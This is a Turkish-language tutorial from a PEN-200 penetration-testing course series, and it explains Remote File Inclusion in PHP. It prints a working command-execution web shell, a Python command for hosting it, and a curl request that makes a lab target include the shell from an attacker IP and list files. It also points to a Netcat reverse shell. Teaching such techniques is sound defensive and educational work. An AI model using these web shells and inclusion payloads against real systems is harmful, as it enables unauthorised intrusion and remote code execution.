Remote File Inclusion (RFI) | PEN-200
Merhaba. Offensive Security tarafında yer alan “PEN-200: Penetration Testing with Kali Linux” sertifika eğitimi yazı serisinin yirminci yazısı olan “Remote File Inclusion (RFI)” konusunu ele alacağım.
Hedef sistemin belirli bir şekilde yapılandırılması gerektiğinden, uzaktan dosya ekleme (RFI) güvenlik açıkları LFI’lere göre daha az yaygındır. Örneğin PHP web uygulamalarında, önceki bölümdeki data:// sarmalayıcısında olduğu gibi, RFI’dan yararlanmak için allow_url_include seçeneğinin etkinleştirilmesi gerekir. Belirtildiği gibi, PHP’nin tüm güncel sürümlerinde varsayılan olarak devre dışıdır. LFI güvenlik açıkları yerel dosyaları dahil etmek için kullanılabilirken, RFI güvenlik açıkları uzak bir sistemdeki dosyaları HTTP veya SMB üzerinden dahil etmemize olanak tanır.
Dahil edilen dosya aynı zamanda web uygulaması bağlamında da yürütülür. Bu seçeneği etkin bulacağımız yaygın senaryolar, web uygulamasının uzak sistemlerden dosya veya içerik yüklemesidir; kitaplıklar veya uygulama verileri. Directory Traversal ve LFI bölümlerinde ele alınan tekniklerin aynısını kullanarak RFI güvenlik açıklarını keşfedebiliriz.
Kali Linux, /usr/share/webshells/php/ dizininde RFI için kullanılabilecek çeşitli PHP web sehlleri içerir. Web shell, web tabanlı bir komut satırı ara yüzü sağlayan ve komutların yürütülmesini daha kolay ve rahat hale getiren küçük bir komut dosyasıdır. Bu örnekte, lab içinde yer alan web uygulamasındaki bir RFI güvenlik açığından yararlanmak için simple-backdoor.php web kabuğunu kullanacağız.
Öncelikle simple-backdoor.php web kabuğunun içeriğini kısaca gözden geçirelim. RFI için önceki bölümlerdeki LFI güvenlik açığını test etmek için bunu kullanacağız. Kod, önceki bölümlerde kullandığımız PHP koduna çok benzer. Cmd parametresindeki komutları kabul eder ve bunları sistem işlevi aracılığıyla yürütür.
kali@kali:/usr/share/webshells/php/$ cat simple-backdoor.php
...
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
Bir RFI güvenlik açığından yararlanmak için uzaktaki dosyayı hedef sistem tarafından erişilebilir hale getirmemiz gerekir. Kali makinemizde bir web sunucusu başlatmak ve dahil etmek istediğimiz dosyayı hedef sisteme uzaktan sunmak için Python http.server modülünü kullanabiliriz. http.server modülü web kökünü terminalimizin geçerli dizinine ayarlar. Ayrıca Github’daki gibi herkese açık bir dosyayı da kullanabiliriz.
kali@kali:/usr/share/webshells/php/$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Web sunucusu mevcut dizini olarak /usr/share/webshells/php/ ile çalışmaya başladıktan sonra, saldıran makinemizde gerekli tüm adımları tamamladık. Daha sonra, barındırılan dosyayı HTTP aracılığıyla dahil etmek için curl‘u kullanacağız ve komutumuz olarak ls‘yi belirteceğiz.
kali@kali:/usr/share/webshells/php/$ curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.119.3/simplebackdoor.php&cmd=ls"
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<pre>admin.php
bavarian.php
css
fonts
img
index.php
js
</pre>
Uzaktan barındırılan bir web kabuğu ekleyerek RFI güvenlik açığından başarıyla yararlandığımızı görebiliyoruz. Artık Netcat‘i LFI bölümünde olduğu gibi ters kabuk oluşturmak ve hedef sistem üzerinde etkileşimli bir kabuk almak için tekrar kullanabiliriz.
Reverse shell almak için bir önceki yazım olan <<Local File Inclusion>> uyguladığımız yöntemleri uygulayarak bağlantı sağlayabilirsiniz.
PEN-200 serisinin yirminci yazısının sonuna geldik. Başka yazılarda görüşmek üzere.